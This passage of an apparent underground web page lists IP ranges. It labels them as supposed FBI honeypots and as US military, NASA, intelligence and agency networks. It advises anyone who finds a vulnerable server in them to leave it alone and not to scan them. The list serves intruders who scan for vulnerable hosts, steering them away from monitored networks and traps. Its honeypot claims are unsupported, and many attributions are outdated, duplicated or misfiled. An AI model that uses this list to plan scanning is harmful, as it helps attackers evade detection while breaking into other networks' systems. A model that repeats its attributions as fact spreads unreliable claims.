207.60.122.40 - 207.60.122.47<br />
207.60.122.48 - 207.60.122.55<br />
207.60.122.56 - 207.60.122.63<br />
207.60.122.64 - 207.60.122.71<br />
207.60.122.72 - 207.60.122.79<br />
207.60.122.80 - 207.60.122.87<br />
207.60.122.88 - 207.60.122.95<br />
207.60.122.96 - 207.60.122.103<br />
207.60.122.104 - 207.60.122.111<br />
207.60.127.0<br />
207.60.128.0 - 207.60.128.255<br />
207.60.129.0 - 207.60.129.255<br />
207.60.129.64 - 207.60.129.127<br />
207.60.129.128 - 207.60.129.191<br />
207.60.129.192 - 207.60.129.255<br />
64.224.*<br />
64.225.*<br />
64.226.*<br />
195.10.*<br />
205.96.* - 205.103.*<br />
207.30.* - 207.120.*<br />
207.60.* - 207.61.*<br />
209.35.*<br />
216.25.*<br />
216.247.*<br />
62.0.0.1 - 62.30.255.255<br />
212.159.40.211<br />
212.159.41.173<br />
212.159.0.2<br />
212.159.1.1<br />
212.159.1.4<br />
212.159.1.5<br />
212.56.107.22<br />
212.159.0.2<br />
212.159.33.56<br />
212.56.107.22<br />
213.83.0.96 - 213.83.0.99 KARL GEORG Stahlherstellungs- u. Verarbeitungs-GmbH<br />
207.60.*.* : (FBI's honeypot) The Internet Access Company (NETBLK-TIAC-BLK)<br />
207.60.2.128 - 207.60.2.255 Abacus Technology (NETBLK-TIAC-ABACUSTC)<br />
64.224.* : (FBI's honeypot)<br />
64.225.* : (FBI's honeypot)<br />
64.226.* : (FBI's honeypot)<br />
195.10.* : (FBI's honeypot)<br />
205.96-103.* : (FBI's honeypot)<br />
207.30-120.* : (FBI's honeypot)<br />
207.60-61.* : (FBI's honeypot)<br />
209.35.* : (FBI's honeypot)<br />
216.25.* : (FBI's honeypot)<br />
216.247.* : (FBI's honeypot)<br />
212.159.40.211 : (FBI's honeypot)<br />
212.159.41.173 : (FBI's honeypot)<br />
212.159.0.2 : (FBI's honeypot)<br />
212.159.1.1 : (FBI's honeypot)<br />
212.159.1.4 : (FBI's honeypot)<br />
212.159.1.5 : (FBI's honeypot)<br />
212.56.107.22 : (FBI's honeypot)<br />
212.159.0.2 : (FBI's honeypot)<br />
212.159.33.56 : (FBI's honeypot)<br />
212.56.107.22 : (FBI's honeypot)<br />
139.142.*.* : 139.142.153.23 : Front end portal of a security network filtering hundreds of client subscription IPs.</p>
<ol><strong>If you find a vulnerable pub, IIS, SQL, or *nix &#8212; LEAVE IT ALONE</strong></ol>
<ul>The FBI IPs/IP-Ranges</ul>
<p><strong>RANGE 6</strong><br />
6.* &#8211; Army Information Systems Center</p>
<p><strong>RANGE 7</strong><br />
7.*.*.* Defense Information Systems Agency, VA</p>
<p><strong>RANGE 11</strong><br />
11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency, Washington DC</p>
<p><strong>RANGE 21</strong><br />
21. &#8211; US Defense Information Systems Agency</p>
<p><strong>RANGE 22</strong><br />
22.* &#8211; Defense Information Systems Agency</p>
<p><strong>RANGE 24</strong><br />
24.198.*.*</p>
<p><strong>RANGE 25</strong><br />
25.*.*.* Royal Signals and Radar Establishment, UK</p>
<p><strong>RANGE 26</strong><br />
26.* &#8211; Defense Information Systems Agency</p>
<p><strong>RANGE 29</strong><br />
29.* &#8211; Defense Information Systems Agency</p>
<p><strong>RANGE 30</strong><br />
30.* &#8211; Defense Information Systems Agency</p>
<p><strong>RANGE 49</strong><br />
49.* &#8211; Joint Tactical Command</p>
<p><strong>RANGE 50</strong><br />
50.* &#8211; Joint Tactical Command</p>
<p><strong>RANGE 55</strong><br />
55.* &#8211; Army National Guard Bureau</p>
<p><strong>RANGE 55</strong><br />
55.* &#8211; Army National Guard Bureau</p>
<p><strong>RANGE 62</strong><br />
62.0.0.1 &#8211; 62.30.255.255 Do not scan!</p>
<p><strong>RANGE 64</strong><br />
64.70.*.* Do not scan<br />
64.224.* Do not Scan<br />
64.225.* Do not scan<br />
64.226.* Do not scan</p>
<p><strong>RANGE 128</strong><br />
128.37.0.0 Army Yuma Proving Ground<br />
128.38.0.0 Naval Surface Warfare Center<br />
128.43.0.0 Defence Research Establishment-Ottawa<br />
128.47.0.0 Army Communications Electronics Command<br />
128.49.0.0 Naval Ocean Systems Center<br />
128.50.0.0 Department of Defense<br />
128.51.0.0 Department of Defense<br />
128.56.0.0 U.S. Naval Academy<br />
128.60.0.0 Naval Research Laboratory<br />
128.63.0.0 Army Ballistics Research Laboratory<br />
128.80.0.0 Army Communications Electronics Command<br />
128.98.0.0 &#8211; 128.98.255.255 Defence Evaluation and Research Agency<br />
128.102.0.0 NASA Ames Research Center<br />
128.149.0.0 NASA Headquarters<br />
128.154.0.0 NASA Wallops Flight Facility<br />
128.155.0.0 NASA Langley Research Center<br />
128.156.0.0 NASA Lewis Network Control Center<br />
128.157.0.0 NASA Johnson Space Center<br />
128.158.0.0 NASA Ames Research Center<br />
128.159.0.0 NASA Ames Research Center<br />
128.160.0.0 Naval Research Laboratory<br />
128.161.0.0 NASA Ames Research Center<br />
128.183.0.0 NASA Goddard Space Flight Center<br />
128.190.0.0 Army Belvoir Reasearch and Development Center<br />
128.202.0.0 50th Space Wing<br />
128.216.0.0 MacDill Air Force Base<br />
128.217.0.0 NASA Kennedy Space Center<br />
128.236.0.0 U.S. Air Force Academy</p>
<p><strong>RANGE 129</strong><br />
129.23.0.0 Strategic Defense Initiative Organization<br />
129.29.0.0 United States Military Academy<br />
129.50.0.0 NASA Marshall Space Flight Center<br />
129.51.0.0 Patrick Air Force Base<br />
129.52.0.0 Wright-Patterson Air Force Base<br />
129.53.0.0 &#8211; 129.53.255.255 66SPTG-SCB<br />
129.54.0.0 Vandenberg Air Force Base, CA<br />
129.92.0.0 Air Force Institute of Technology<br />
129.99.0.0 NASA Ames Research Center<br />
129.131.0.0 Naval Weapons Center<br />
129.139.0.0 Army Armament Research Development and Engineering Center<br />
129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN<br />
129.163.0.0 NASA/Johnson Space Center<br />
129.164.0.0 NASA IVV<br />
129.165.0.0 NASA Goddard Space Flight Center<br />
129.166.0.0 NASA &#8211; John F. Kennedy Space Center<br />
129.167.0.0 NASA Marshall Space Flight Center<br />
129.168.0.0 NASA Lewis Research Center<br />
129.190.0.0 Naval Underwater Systems Center<br />
129.198.0.0 Air Force Flight Test Center<br />
129.209.0.0 Army Ballistics Research Laboratory<br />
129.229.0.0 U.S. Army Corps of Engineers<br />
129.251.0.0 United States Air Force Academy</p>
<p><strong>RANGE 130</strong><br />
130.40.0.0 NASA Johnson Space Center<br />
130.90.0.0 Mather Air Force Base<br />
130.109.0.0 Naval Coastal Systems Center<br />
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity<br />
130.124.0.0 Honeywell Defense Systems Group<br />
130.165.0.0 U.S.Army Corps of Engineers<br />
130.167.0.0 NASA Headquarters</p>
<p><strong>RANGE 131</strong><br />
131.3.0.0 &#8211; 131.3.255.255 Mather Air Force Base<br />
131.6.0.0 Langley Air Force Base<br />
131.10.0.0 Barksdale Air Force Base<br />
131.17.0.0 Sheppard Air Force Base<br />
131.21.0.0 Hahn Air Base<br />
131.22.0.0 Keesler Air Force Base<br />
131.24.0.0 6 Communications Squadron<br />
131.25.0.0 Patrick Air Force Base<br />
131.27.0.0 75 ABW<br />
131.30.0.0 62 CS/SCSNT<br />
131.32.0.0 37 Communications Squadron<br />
131.35.0.0 Fairchild Air Force Base<br />
131.36.0.0 Yokota Air Base<br />
131.37.0.0 Elmendorf Air Force Base<br />
131.38.0.0 Hickam Air Force Base<br />
131.39.0.0 354CS/SCSN<br />
131.40.0.0 Bergstrom Air Force Base<br />
131.44.0.0 Randolph Air Force Base<br />
131.46.0.0 20 Communications Squadron<br />
131.47.0.0 Andersen Air Force Base<br />
131.50.0.0 Davis-Monthan Air Force Base<br />
131.52.0.0 56 Communications Squadron /SCBB<br />
131.54.0.0 Air Force Concentrator Network<br />
131.56.0.0 Upper Heyford Air Force Base<br />
131.58.0.0 Alconbury Royal Air Force Base<br />
131.59.0.0 7 Communications Squadron<br />
131.61.0.0 McConnell Air Force Base<br />
131.62.0.0 Norton Air Force Base<br />
131.71.0.0 &#8211; 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO<br />
131.74.0.0 Defense MegaCenter Columbus<br />
131.84.0.0 Defense Technical Information Center<br />
131.92.0.0 Army Information Systems Command &#8211; Aberdeen (EA)<br />
131.105.0.0 McClellan Air Force Base<br />
131.110.0.0 NASA/Michoud Assembly Facility<br />
131.120.0.0 Naval Postgraduate School<br />
131.121.0.0 United States Naval Academy<br />
131.122.0.0 United States Naval Academy<br />
131.176.0.0 European Space Operations Center<br />
131.182.0.0 NASA Headquarters<br />
131.250.0.0 Office of the Chief of Naval Research</p>
<p><strong>RANGE 132</strong><br />
132.3.0.0 Williams Air Force Base<br />
132.5.0.0 &#8211; 132.5.255.255 49th Fighter Wing<br />
132.6.0.0 Ankara Air Station<br />
132.7.0.0 &#8211; 132.7.255.255 SSG/SINO<br />
132.9.0.0 28th Bomb Wing<br />
132.10.0.0 319 Comm Sq<br />
132.11.0.0 Hellenikon Air Base<br />
132.12.0.0 Myrtle Beach Air Force Base<br />
132.13.0.0 Bentwaters Royal Air Force Base<br />
132.14.0.0 Air Force Concentrator Network<br />
132.15.0.0 Kadena Air Base<br />
132.16.0.0 Kunsan Air Base<br />
132.17.0.0 Lindsey Air Station<br />
132.18.0.0 McGuire Air Force Base<br />
132.19.0.0 100CS (NET-MILDENHALL)<br />
132.20.0.0 35th Communications Squadron<br />
132.21.0.0 Plattsburgh Air Force Base<br />
132.22.0.0 23Communications Sq<br />
132.24.0.0 Dover Air Force Base<br />
132.25.0.0 786 CS/SCBM<br />
132.27.0.0 &#8211; 132.27.255.255 39CS/SCBBN<br />
132.28.0.0 14TH COMMUNICATION SQUADRON<br />
132.30.0.0 Lajes Air Force Base<br />
132.31.0.0 Loring Air Force Base<br />
132.33.0.0 60CS/SCSNM<br />
132.34.0.0 Cannon Air Force Base<br />
132.35.0.0 Altus Air Force Base<br />
132.37.0.0 75 ABW<br />
132.38.0.0 Goodfellow AFB<br />
132.39.0.0 K.I. Sawyer Air Force Base<br />
132.40.0.0 347 COMMUNICATION SQUADRON<br />
132.42.0.0 Spangdahlem Air Force Base<br />
132.43.0.0 Zweibruchen Air Force Base<br />
132.45.0.0 Chanute Air Force Base<br />
132.46.0.0 Columbus Air Force Base<br />
132.48.0.0 Laughlin Air Force Base<br />
132.49.0.0 366CS/SCSN<br />
132.50.0.0 Reese Air Force Base<br />
132.52.0.0 Vance Air Force Base<br />
132.54.0.0 Langley AFB<br />
132.55.0.0 Torrejon Air Force Base<br />
132.56.0.0 &#8211; 132.56.255.255 9 CS/SC<br />
132.57.0.0 Castle Air Force Base<br />
132.58.0.0 Nellis Air Force Base<br />
132.59.0.0 24Comm SquadronSCSNA<br />
132.60.0.0 &#8211; 132.60.255.255 42ND COMMUNICATION SQUADRON<br />
132.61.0.0 SSG/SIN<br />
132.62.0.0 &#8211; 132.62.255.255 377 COMMUNICATION SQUADRON<br />
132.79.0.0 Army National Guard Bureau<br />
132.80.0.0 &#8211; 132.80.255.255 NGB-AIS-OS<br />
132.80.0.0 &#8211; 132.85.255.255 National Guard Bureau<br />
132.82.0.0 Army National Guard Bureau<br />
132.86.0.0 National Guard Bureau<br />
132.87.0.0 &#8211; 132.93.255.255 National Guard Bureau<br />
132.94.0.0 Army National Guard Bureau<br />
132.95.0.0 &#8211; 132.103.255.255 National Guard Bureau<br />
132.95.0.0 &#8211; 132.108.0.0 DOD Network Information Center<br />
132.104.0.0 &#8211; 132.104.255.255 Army National Guard Bureau<br />
132.105.0.0 &#8211; 132.108.255.255 Army National Guard Bureau<br />
132.109.0.0 National Guard Bureau<br />
132.110.0.0 &#8211; 132.116.255.255 Army National Guard Bureau<br />
132.114.0.0 Army National Guard<br />
132.117.0.0 Army National Guard Bureau<br />
132.118.0.0 &#8211; 132.132.0.0 Army National Guard Bureau<br />
132.122.0.0 South Carolina Army National Guard, USPFO<br />
132.133.0.0 National Guard Bureau<br />
132.134.0.0 &#8211; 132.143.255.255 National Guard Bureau<br />
132.159.0.0 Army Information Systems Command<br />
132.193.0.0 Army Research Office<br />
132.250.0.0 Naval Research Laboratory</p>
<p><strong>RANGE 134</strong><br />
134.5.0.0 Lockheed Aeronautical Systems Company<br />
134.11.0.0 The Pentagon<br />
134.12.0.0 NASA Ames Research Center<br />
134.51.0.0 Boeing Military Aircraft Facility<br />
134.52.*.* Boeing Corporation<br />
134.78.0.0 Army Information Systems Command-ATCOM<br />
134.80.0.0 Army Information Systems Command<br />
134.118.0.0 NASA/Johnson Space Center<br />
134.131.0.0 Wright-Patterson Air Force Base<br />
134.136.0.0 Wright-Patterson Air Force Base<br />
134.164.0.0 Army Engineer Waterways Experiment Station<br />
134.165.0.0 Headquarters Air Force Space Command<br />
134.194.0.0 U.S. Army Aberdeen Test Center<br />
134.205.0.0 7th Communications Group<br />
134.207.0.0 Naval Research Laboratory<br />
134.229.0.0 Navy Regional Data Automation Center<br />
134.230.0.0 Navy Regional Data Automation Center<br />
134.232.0.0 &#8211; 134.232.255.255 U.S. Army, Europe<br />
134.233.0.0 HQ 5th Signal Command<br />
134.234.0.0 &#8211; 134.234.255.255 Southern European Task Force<br />
134.235.0.0 HQ 5th Signal Command<br />
134.240.0.0 U.S. Military Academy<br />
136.149.0.0 Air Force Military Personnel Center</p>
<p><strong>RANGE 136</strong><br />
136.178.0.0 NASA Research Network<br />
136.188.0.0 &#8211; 136.197.255.255 Defense Intelligence Agency<br />
136.207.0.0 69th Signal Battalion<br />
136.208.0.0 HQ, 5th Signal Command<br />
136.209.0.0 HQ 5th Signal Command<br />
136.210.0.0 HQ 5th Signal Command<br />
136.212.0.0 HQ 5th Signal Command<br />
136.213.0.0 HQ, 5th Signal Command<br />
136.214.0.0 HQ, 5th Signal Command<br />
136.215.0.0 HQ, 5th Signal Command<br />
136.216.0.0 HQ, 5th Signal Command<br />
136.217.0.0 HQ, 5th Signal Command<br />
136.218.0.0 HQ, 5th Signal Command<br />
136.219.0.0 HQ, 5th Signal Command<br />
136.220.0.0 HQ, 5th Signal Command<br />
136.221.0.0 HQ, 5th Signal Command<br />
136.222.0.0 HQ, 5th Signal Command</p>
<p><strong>RANGE 137</strong><br />
137.1.0.0 Whiteman Air Force Base<br />
137.2.0.0 George Air Force Base<br />
137.3.0.0 Little Rock Air Force Base<br />
137.4.0.0 &#8211; 137.4.255.255 437 CS/SC<br />
137.5.0.0 Air Force Concentrator Network<br />
137.6.0.0 Air Force Concentrator Network<br />
137.11.0.0 HQ AFSPC/SCNNC<br />
137.12.0.0 Air Force Concentrator Network<br />
137.17.* National Aerospace Laboratory<br />
137.24.0.0 Naval Surface Warfare Center<br />
137.29.0.0 First Special Operations Command<br />
137.67.0.0 Naval Warfare Assessment Center<br />
137.94.* Royal Military College<br />
137.95.* Headquarters, U.S. European Command<br />
137.126.0.0 USAF MARS<br />
137.127.* Army Concepts Analysis Agency<br />
137.128.* U.S. ARMY Tank-Automotive Command<br />
137.130.0.0 Defense Information Systems Agency<br />
137.209.0.0 Defense Information Systems Agency<br />
137.210.0.0 Defense Information Systems Agency<br />
137.211.0.0 Defense Information Systems Agency<br />
137.212.0.0 Defense Information Systems Agency<br />
137.231.0.0 HQ 5th Signal Command<br />
137.232.0.0 Defense Information Systems Agency<br />
137.233.0.0 Defense Information Systems Agency<br />
137.234.0.0 Defense Information Systems Agency<br />
137.235.0.0 Defense Information Systems Agency<br />
137.240.0.0 Air Force Materiel Command<br />
137.241.0.0 75 ABW<br />
137.242.0.0 Air Force Logistics Command<br />
137.243.0.0 77 CS/SCCN<br />
137.244.0.0 78 CS/SCSC<br />
137.245.0.0 Wright Patterson Air Force Base<br />
137.246.0.0 United States Atlantic Command Joint Training</p>
<p><strong>RANGE 138</strong><br />
138.13.0.0 Air Force Systems Command<br />
138.27.0.0 Army Information Systems Command<br />
138.50.0.0 HQ 5th Signal Command<br />
138.65.0.0 HQ, 5th Signal Command<br />
138.76.0.0 NASA Headquarters<br />
138.109.0.0 Naval Surface Warfare Center<br />
138.115.0.0 NASA Information and Electronic Systems Laboratory<br />
138.135.0.0 &#8211; 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR<br />
138.136.0.0 &#8211; 138.136.255.255 Navy Computers and Telecommunications Station<br />
138.137.0.0 Navy Regional Data Automation Center (NARDAC)<br />
138.139.0.0 Marine Corps Air Station<br />
138.140.0.0 Navy Regional Data Automation Center<br />
138.141.0.0 Navy Regional Data Automation Center<br />
138.142.0.0 Navy Regional Data Automation Center<br />
138.143.0.0 Navy Regional Data Automation Center<br />
138.144.0.0 NAVCOMTELCOM<br />
138.145.0.0 NCTS WASHINGTON<br />
138.146.0.0 NCTC<br />
138.147.0.0 NCTC<br />
138.148.0.0 NCTC<br />
138.149.0.0 NCTC<br />
138.150.0.0 NCTC<br />
138.151.0.0 NCTC<br />
138.152.0.0 NCTC<br />
138.153.0.0 Yokosuka Naval Base<br />
138.154.0.0 NCTC<br />
138.155.0.0 NCTC<br />
138.156.0.0 Marine Corps Central Design &#038; Prog. Activity<br />
138.157.0.0 &#8211; 138.157.255.255 Marine Corps Central Design &#038; Prog. Activity<br />
138.158.0.0 Marine Corps Central Design &#038; Prog. Activity<br />
138.159.0.0 NCTC<br />
138.160.0.0 Naval Air Station<br />
138.161.0.0 NCTC<br />
138.162.0.0 NCTC<br />
138.163.0.0 NCTC<br />
138.164.0.0 NCTC<br />
138.165.0.0 NCTC<br />
138.166.0.0 NCTC<br />
138.167.0.0 NOC, MCTSSA, East<br />
138.168.0.0 Marine Corps Central Design &#038; Prog. Activity<br />
138.169.0.0 NAVAL COMPUTER AND TELECOMM<br />
138.169.12.0 NAVAL COMPUTER AND TELECOMM<br />
138.169.13.0 NAVAL COMPUTER AND TELECOMM<br />
138.170.0.0 NCTC<br />
138.171.0.0 NCTC<br />
138.172.0.0 NCTC<br />
138.173.0.0 NCTC<br />
138.174.0.0 NCTC<br />
138.175.0.0 NCTC<br />
138.176.0.0 NCTC<br />
138.177.0.0 NCTS Pensacola<br />
138.178.0.0 NCTC<br />
138.179.0.0 NCTC<br />
138.180.0.0 NCTC<br />
138.181.0.0 NCTC<br />
138.182.0.0 CNO N60<br />
138.183.0.0 NCTC<br />
138.184.0.0 NCTS<br />
138.193.0.0 NASA/Yellow Creek</p>
<p><strong>RANGE 139</strong><br />
139.31.0.0 20th Tactical Fighter Wing<br />
139.32.0.0 48th Tactical Fighter Wing<br />
139.33.0.0 36th Tactical Fighter Wing<br />
139.34.0.0 52nd Tactical Fighter Wing<br />
139.35.0.0 50th Tactical Fighter Wing<br />
139.36.0.0 66th Electronic Combat Wing<br />
139.37.0.0 26th Tactical Reconnaissance Wing<br />
139.38.0.0 32nd Tactical Fighter Squadron<br />
139.39.0.0 81st Tactical Fighter Wing<br />
139.40.0.0 10th Tactical Fighter Wing<br />
139.41.0.0 39th Tactical Air Control Group<br />
139.42.0.0 40th Tactical Air Control Group<br />
139.43.0.0 401st Tactical Fighter Wing<br />
139.124.* Reseau Infomratique<br />
139.142.*.*</p>
<p><strong>RANGE 140</strong><br />
140.1.0.0 Defense Information Systems Agency<br />
140.3.0.0 Defense Information Systems Agency<br />
140.4.0.0 Defense Information Systems Agency<br />
140.5.0.0 Defense Information Systems Agency<br />
140.6.0.0 Defense Information Systems Agency<br />
140.7.0.0 Defense Information Systems Agency<br />
140.8.0.0 Defense Information Systems Agency<br />
140.9.0.0 Defense Information Systems Agency<br />
140.10.0.0 Defense Information Systems Agency<br />
140.11.0.0 Defense Information Systems Agency<br />
140.12.0.0 Defense Information Systems Agency<br />
140.13.0.0 Defense Information Systems Agency<br />
140.14.0.0 DISA Columbus Level II NOC<br />
140.15.0.0 Defense Information Systems Agency<br />
140.16.0.0 Defense Information Systems Agency<br />
140.17.0.0 Defense Information Systems Agency<br />
140.18.0.0 Defense Information Systems Agency<br />
140.19.0.0 Defense Information Systems Agency<br />
140.20.0.0 Defense Information Systems Agency<br />
140.21.0.0 Defense Information Systems Agency<br />
140.22.0.0 Defense Information Systems Agency<br />
140.23.0.0 Defense Information Systems Agency<br />
140.24.0.0 ASIC ALLIANCE-MARLBORO<br />
140.25.0.0 Defense Information Systems Agency<br />
140.26.0.0 Defense Information Systems Agency<br />
140.27.0.0 Defense Information Systems Agency<br />
140.28.0.0 Defense Information Systems Agency<br />
140.29.0.0 Defense Information Systems Agency<br />
140.30.0.0 Defense Information Systems Agency<br />
140.31.0.0 Defense Information Systems Agency<br />
140.32.0.0 Defense Information Systems Agency<br />
140.33.0.0 Defense Information Systems Agency<br />
140.34.0.0 Defense Information Systems Agency<br />
140.35.0.0 Defense Information Systems Agency<br />
140.36.0.0 Defense Information Systems Agency<br />
140.37.0.0 Defense Information Systems Agency<br />
140.38.0.0 Defense Information Systems Agency<br />
140.39.0.0 Defense Information Systems Agency<br />
140.40.0.0 Defense Information Systems Agency<br />
140.41.0.0 Defense Information Systems Agency<br />
140.42.0.0 Defense Information Systems Agency<br />
140.43.0.0 Defense Information Systems Agency<br />
140.44.0.0 Defense Information Systems Agency<br />
140.45.0.0 Defense Information Systems Agency<br />
140.46.0.0 Defense Information Systems Agency<br />
140.47.0.0 &#8211; 140.47.255.255 Defense Information Systems Agency<br />
140.47.0.0 &#8211; 140.48.255.255 DOD Network Information Center<br />
140.48.0.0 &#8211; 140.48.255.255 Defense Information Systems Agency<br />
140.49.0.0 Defense Information Systems Agency<br />
140.50.0.0 Defense Information Systems Agency<br />
140.51.0.0 Defense Information Systems Agency<br />
140.52.0.0 Defense Information Systems Agency<br />
140.53.0.0 Defense Information Systems Agency<br />
140.54.0.0 Defense Information Systems Agency<br />
140.55.0.0 Defense Information Systems Agency<br />
140.56.0.0 Defense Information Systems Agency<br />
140.57.0.0 Defense Information Systems Agency<br />
140.58.0.0 Defense Information Systems Agency<br />
140.59.0.0 Defense Information Systems Agency<br />
140.60.0.0 Defense Information Systems Agency<br />
140.61.0.0 Defense Information Systems Agency<br />
140.62.0.0 Defense Information Systems Agency<br />
140.63.0.0 Defense Information Systems Agency<br />
140.64.0.0 Defense Information Systems Agency<br />
140.65.0.0 Defense Information Systems Agency<br />
140.66.0.0 Defense Information Systems Agency<br />
140.67.0.0 Defense Information Systems Agency<br />
140.68.0.0 Defense Information Systems Agency<br />
140.69.0.0 Defense Information Systems Agency<br />
140.70.0.0 Defense Information Systems Agency<br />
140.71.0.0 Defense Information Systems Agency<br />
140.72.0.0 Defense Information Systems Agency<br />
140.73.0.0 Defense Information Systems Agency<br />
140.74.0.0 &#8211; 140.74.255.255 Defense Information Systems Agency<br />
140.100.0.0 Naval Sea Systems Command<br />
140.139.0.0 HQ US Army Medical Research and Development Command<br />
140.154.0.0 HQ 5th Signal Command<br />
140.155.0.0 HQ, 5th Signal Command<br />
140.156.0.0 HQ, 5th Signal Command<br />
140.175.0.0 Scott Air Force Base<br />
140.178.0.0 Naval Undersea Warfare Center Division, Keyport<br />
140.187.0.0 Fort Bragg<br />
140.194.0.0 US Army Corps of Engineers<br />
140.195.0.0 Naval Sea Systems Command<br />
140.199.0.0 Naval Ocean Systems Center<br />
140.201.0.0 HQ, 5th Signal Command<br />
140.202.0.0 106TH SIGNAL BRIGADE</p>
<p><strong>RANGE 143</strong><br />
143.45.0.0 58th Signal Battalion<br />
143.46.0.0 U.S. Army, 1141st Signal Battalion<br />
143.68.0.0 Headquarters, USAISC<br />
143.69.0.0 Headquarters, USAAISC<br />
143.70.0.0 Headquarters, USAAISC<br />
143.71.0.0 Headquarters, USAAISC<br />
143.72.0.0 Headquarters, USAAISC<br />
143.73.0.0 Headquarters, USAAISC<br />
143.74.0.0 Headquarters, USAAISC<br />
143.75.0.0 Headquarters, USAAISC<br />
143.76.0.0 Headquarters, USAAISC<br />
143.77.0.0 Headquarters, USAAISC<br />
143.78.0.0 Headquarters, USAAISC<br />
143.79.0.0 Headquarters, USAAISC<br />
143.80.0.0 Headquarters, USAAISC<br />
143.81.0.0 Headquarters, USAAISC<br />
143.82.0.0 Headquarters, USAAISC<br />
143.84.0.0 Headquarters, USAAISC<br />
143.85.0.0 Headquarters, USAAISC<br />
143.86.0.0 Headquarters, USAAISC<br />
143.87.0.0 Headquarters, USAAISC<br />
143.232.0.0 NASA Ames Research Center</p>
<p><strong>RANGE 144</strong><br />
144.99.0.0 United States Army Information Systems Command<br />
144.109.0.0 Army Information Systems Command<br />
144.143.0.0 Headquarters, Third United States Army<br />
144.144.0.0 Headquarters, Third United States Army<br />
144.146.0.0 Commander, Army Information Systems Center<br />
144.147.0.0 Commander, Army Information Systems Center<br />
144.170.0.0 HQ, 5th Signal Command<br />
144.192.0.0 United States Army Information Services Command-Campbell<br />
144.233.0.0 Defense Intelligence Agency<br />
144.234.0.0 Defense Intelligence Agency<br />
144.235.0.0 Defense Intelligence Agency<br />
144.236.0.0 Defense Intelligence Agency<br />
144.237.0.0 Defense Intelligence Agency<br />
144.238.0.0 Defense Intelligence Agency<br />
144.239.0.0 Defense Intelligence Agency<br />
144.240.0.0 Defense Intelligence Agency<br />
144.241.0.0 Defense Intelligence Agency<br />
144.242.0.0 Defense Intelligence Agency<br />
144.252.0.0 U.S. Army LABCOM</p>
<p><strong>RANGE 146</strong><br />
146.17.0.0 HQ, 5th Signal Command<br />
146.80.0.0 Defence Research Agency<br />
146.98.0.0 HQ United States European Command<br />
146.154.0.0 NASA/Johnson Space Center<br />
146.165.0.0 NASA Langley Research Center</p>
<p>RANGE 147<br />
147.35.0.0 HQ, 5th Signal Command<br />
147.36.0.0 HQ, 5th Signal Command<br />
147.37.0.0 HQ, 5th Signal Command<br />
147.38.0.0 HQ, 5th Signal Command<br />
147.39.0.0 HQ, 5th Signal Command<br />
147.40.0.0 HQ, 5th Signal Command<br />
147.42.0.0 Army CALS Project<br />
147.103.0.0 Army Information Systems Software Center<br />
147.104.0.0 Army Information Systems Software Center<br />
147.159.0.0 Naval Air Warfare Center, Aircraft Division<br />
147.168.0.0 Naval Surface Warfare Center<br />
147.169.0.0 HQ, 5th Signal Command<br />
147.198.0.0 Army Information Systems Command<br />
147.199.0.0 Army Information Systems Command<br />
147.238.0.0 Army Information Systems Command<br />
147.239.0.0 1112th Signal Battalion<br />
147.240.0.0 US Army Tank-Automotive Command<br />
147.242.0.0 19th Support Command<br />
147.248.0.0 Fort Monroe DOIM<br />
147.254.0.0 7th Communications Group</p>
<p><strong>RANGE 148</strong><br />
148.114.0.0 NASA, Stennis Space Center</p>
<p><strong>RANGE 150</strong><br />
150.113.0.0 1114th Signal Battalion<br />
150.114.0.0 1114th Signal Battalion<br />
150.125.0.0 Space and Naval Warfare Command<br />
150.133.0.0 10th Area Support Group<br />
150.144.0.0 NASA Goodard Space Flight Center<br />
150.149.0.0 Army Information Systems Command<br />
150.157.0.0 USAISC-Fort Lee<br />
150.184.0.0 Fort Monroe DOIM<br />
150.190.0.0 USAISC-Letterkenny<br />
150.196.0.0 USAISC-LABCOM</p>
<p><strong>RANGE 152</strong><br />
152.82.0.0 7th Communications Group of the Air Force<br />
152.151.0.0 U.S. Naval Space &#038; Naval Warfare Systems Command<br />
152.152.0.0 NATO Headquarters<br />
152.154.0.0 Defense Information Systems Agency<br />
152.229.0.0 Defense MegaCenter (DMC) Denver</p>
<p><strong>RANGE 153</strong><br />
153.21.0.0 USCENTAF/SCM<br />
153.22.0.0 USCENTAF/SCM<br />
153.23.0.0 USCENTAF/SCM<br />
153.24.0.0 USCENTAF/SCM<br />
153.25.0.0 USCENTAF/SCM<br />
153.26.0.0 USCENTAF/SCM<br />
153.27.0.0 USCENTAF/SCM<br />
153.28.0.0 USCENTAF/SCM<br />
153.29.0.0 USCENTAF/SCM<br />
153.30.0.0 USCENTAF/SCM<br />
153.31.0.0 Federal Bureau of Investigation</p>
<p><strong>RANGE 155</strong><br />
155.5.0.0 1141st Signal Bn<br />
155.6.0.0 1141st Signal Bn<br />
155.7.0.0 American Forces Information<br />
155.8.0.0 U.S. ArmyFort Gordon<br />
155.9.0.0 &#8211; 155.9.255.255 United States Army Information Systems Command<br />
155.74.0.0 PEO STAMIS<br />
155.75.0.0 US Army Corps of Engineers<br />
155.76.0.0 PEO STAMIS<br />
155.77.0.0 PEO STAMIS<br />
155.78.0.0 PEO STAMIS<br />
155.79.0.0 US Army Corps of Engineers<br />
155.80.0.0 PEO STAMIS<br />
155.81.0.0 PEO STAMIS<br />
155.82.0.0 PEO STAMIS<br />
155.83.0.0 US Army Corps of Enginers<br />
155.84.0.0 PEO STAMIS<br />
155.85.0.0 PEO STAMIS<br />
155.86.0.0 US Army Corps of Engineers<br />
155.87.0.0 PEO STAMIS<br />
155.88.0.0 PEO STAMIS<br />
155.96.0.0 Drug Enforcement Administration<br />
155.149.0.0 1112th Signal Battalion<br />
155.155.0.0 HQ, 5th Signal Command<br />
155.178.0.0 Federal Aviation Administration<br />
155.213.0.0 USAISC Fort Benning<br />
155.214.0.0 Director of Information Management<br />
155.215.0.0 USAISC-FT DRUM<br />
155.216.0.0 TCACCIS Project Management Office<br />
155.217.0.0 Directorate of Information Management<br />
155.218.0.0 USAISC<br />
155.219.0.0 DOIM/USAISC Fort Sill<br />
155.220.0.0 USAISC-DOIM<br />
155.221.0.0 USAISC-Ft Ord</p>
<p><strong>RANGE 156</strong><br />
156.9.0.0 U. S. Marshals Service</p>
<p><strong>RANGE 157</strong><br />
157.150.0.0 United Nations<br />
157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET<br />
157.202.0.0 US Special Operations Command<br />
157.217.0.0 U. S. Strategic Command</p>
<p><strong>RANGE 158</strong><br />
